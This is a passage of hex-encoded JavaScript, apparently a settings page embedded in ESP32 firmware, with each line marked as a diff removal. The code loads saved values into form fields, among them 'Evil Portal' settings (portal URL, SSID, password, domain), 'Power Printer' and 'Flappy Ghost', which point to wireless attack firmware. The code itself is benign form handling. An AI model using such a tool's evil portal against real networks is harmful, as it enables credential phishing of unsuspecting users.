0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x61, - 0x62, 0x6C, 0x69, 0x6E, 0x6B, 0x73, 0x5B, 0x69, 0x5D, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x72, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x28, 0x22, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, - 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x74, 0x61, 0x62, 0x4E, 0x61, 0x6D, 0x65, 0x29, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x73, 0x68, 0x6F, 0x77, 0x22, 0x29, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x65, 0x76, 0x74, 0x2E, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x2E, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x4C, 0x69, - 0x73, 0x74, 0x2E, 0x61, 0x64, 0x64, 0x28, 0x22, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x74, 0x61, 0x62, - 0x4E, 0x61, 0x6D, 0x65, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x22, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x22, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, - 0x74, 0x63, 0x68, 0x53, 0x44, 0x43, 0x61, 0x72, 0x64, 0x44, 0x61, 0x74, 0x61, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x53, 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x74, 0x61, 0x62, 0x20, 0x74, 0x6F, 0x20, - 0x6F, 0x70, 0x65, 0x6E, 0x20, 0x6F, 0x6E, 0x20, 0x70, 0x61, 0x67, 0x65, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, - 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x22, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x54, 0x61, 0x62, 0x22, 0x29, 0x2E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x20, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, - 0x73, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x53, 0x50, 0x33, 0x32, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x6C, 0x6F, 0x61, 0x64, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x73, 0x65, 0x74, - 0x74, 0x69, 0x6E, 0x67, 0x73, 0x27, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, - 0x3D, 0x3E, 0x20, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6A, 0x73, 0x6F, 0x6E, 0x28, 0x29, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, - 0x65, 0x6E, 0x28, 0x64, 0x61, 0x74, 0x61, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x57, 0x69, 0x46, - 0x69, 0x2F, 0x42, 0x4C, 0x45, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, - 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, - 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x62, 0x72, 0x6F, 0x61, 0x64, 0x63, 0x61, 0x73, 0x74, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x52, 0x47, 0x42, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, - 0x77, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x27, 0x29, 0x2E, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, - 0x49, 0x64, 0x28, 0x27, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x72, 0x67, 0x62, 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x3B, 0x0D, - 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, - 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, - 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, - 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, - 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, - 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x27, 0x29, - 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, - 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x61, 0x70, 0x5F, 0x73, 0x73, 0x69, - 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, - 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, - 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x64, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, - 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x27, 0x29, - 0x2E, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x50, 0x6F, 0x77, 0x65, 0x72, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, - 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, - 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, - 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, - 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, - 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, - 0x65, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, - 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x70, 0x72, 0x69, 0x6E, 0x74, - 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, - 0x2F, 0x20, 0x46, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x6E, 0x61, 0x6D, - 0x65, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x67, 0x68, 0x6F, 0x73, 0x74, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x20, - 0x7C, 0x7C, 0x20, 0x27, 0x27, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, - 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x5F, 0x68, 0x65, 0x78, 0x27, 0x29, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x43, 0x6F, - 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x68, 0x65, 0x78, 0x5F, 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x5F, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x74, 0x69, 0x6D, - 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x74, 0x69, 0x6D, 0x65, 0x7A, 0x6F, 0x6E, 0x65, 0x5F, 0x73, 0x74, 0x72, - 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x64, 0x61, 0x74, 0x61, 0x2E, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, - 0x6E, 0x5F, 0x69, 0x70, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, - 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, - 0x61, 0x74, 0x61, 0x2E, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, - 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, - 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x27, 0x4E, 0x6F, - 0x74, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x65, 0x64, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x44, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, - 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, - 0x61, 0x74, 0x61, 0x2E, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x5F, 0x74, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x20, 0x7C, 0x7C, 0x20, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4C, 0x54, 0x5F, 0x44, 0x49, 0x53, 0x50, 0x4C, 0x41, 0x59, 0x5F, 0x54, - 0x49, 0x4D, 0x45, 0x4F, 0x55, 0x54, 0x5F, 0x4D, 0x53, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, - 0x72, 0x72, 0x6F, 